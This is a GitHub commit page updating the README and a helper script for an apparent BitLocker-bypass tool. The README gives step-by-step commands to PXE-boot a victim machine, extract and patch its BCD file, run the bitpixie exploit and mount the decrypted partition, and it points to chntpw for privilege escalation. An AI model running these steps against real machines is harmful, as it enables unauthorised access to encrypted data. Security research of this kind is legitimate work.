You signed in with another tab or window. Reload to refresh your session.You signed out in another tab or window. Reload to refresh your session.You switched accounts on another tab or window. Reload to refresh your session.Dismiss alert
Copy file name to clipboardExpand all lines: README.md
+17-6Lines changed: 17 additions & 6 deletions
Display the source diff
Display the rich diff
Original file line number
Diff line number
Diff line change
@@ -44,22 +44,33 @@ This will reboot the machine into Advanced Boot Options.
44
44
There you have to click on `Use a device` and select IPv4 PXE Boot.
45
45
46
46
### Extracting the BCD file
47
-
Extracting the (unmodified) BCD file from the EFI partition is easy:
47
+
Boot the victim system into the initramfs using PXE boot: `./start-server.sh get-bcd <interface>`
48
+
On the victim machine you can identify the drive containing the Windows installation (often /dev/sda).
49
+
50
+
On the attacker machine execute the BCD extractor script:
48
51
```
49
-
initrd:~# extract-bcd /dev/sda1
52
+
./grab-bcd.sh /dev/sda
53
+
[+] Info: Grabbing disk and partition GUIDs via SSH...
54
+
[...]
55
+
[+] Info: Created modified BCD file: PXE-Server/Boot/BCD
50
56
```
51
-
The BCD file is copied to the /root/ directory.
52
-
In the future, the BCD file will be automatically copied to the attacker machine.
57
+
This script obtains the disk and partition GUID from the victim computer and creates a registry patch file.
58
+
Afterwards the BCD-template file gets patched and copied to PXE-Server/Boot/BCD.
59
+
60
+
Now you are ready to perform the actual attack!
61
+
Reboot the victim system into the startup settings again.
53
62
54
63
### Breaking BitLocker
55
-
Start the TFTP server into exploit mode (boot into downgraded Windows boot manager).
56
-
Preform the bitpixie exploit:
64
+
Start the TFTP server in exploit mode: `./start-server.sh exploit <interface>`.
65
+
Log in as root and perform the bitpixie exploit on the victim machine:
57
66
```
58
67
initrd:~# run-exploit /dev/sda3
59
68
```
60
69
The BitLocker partition should now be mounted at /root/mnt.
61
70
If it did not work, reboot and try it again. Sometimes the VMK is not detected / overwritten.
62
71
72
+
Note: The alpine initramfs also has [chntpw](https://pkgs.alpinelinux.org/package/edge/community/x86_64/chntpw) installed for easy privilege escalation!
73
+
63
74
Don't forget to unmount the file system after performing your changes: `umount /root/mnt`!
# I found a VBS converter for GUIDs and ported it to bash: https://learn.microsoft.com/en-us/troubleshoot/windows-server/admin-development/convert-string-guid-to-hexadecimal-string
21
+
functionGuidToHex {
22
+
GUID=$1
23
+
24
+
# Remove unnecessary symbols
25
+
tmpGUID=`echo "$GUID"| tr -d '{}-'`
26
+
27
+
# Reorder octets
28
+
octetStr="${tmpGUID:6:2}"
29
+
octetStr+="${tmpGUID:4:2}"
30
+
octetStr+="${tmpGUID:2:2}"
31
+
octetStr+="${tmpGUID:0:2}"
32
+
octetStr+="${tmpGUID:10:2}"
33
+
octetStr+="${tmpGUID:8:2}"
34
+
octetStr+="${tmpGUID:14:2}"
35
+
octetStr+="${tmpGUID:12:2}"
36
+
octetStr+="${tmpGUID:16}"
37
+
38
+
# Create hex entities for sed replacement
39
+
hexCommaStr=$(echo "$octetStr"| sed 's/\(..\)/,\1/g')
40
+
}
41
+
42
+
43
+
# Exit if no device is specified
44
+
if [[ "$1"!=*"dev"* ]];then
45
+
echo-warning "No drive specified!"
46
+
printInfo
47
+
exit
48
+
fi
49
+
50
+
# Get GUIDs via SSH
51
+
echo-info "Grabbing disk and partition GUIDs via SSH..."
0 commit comments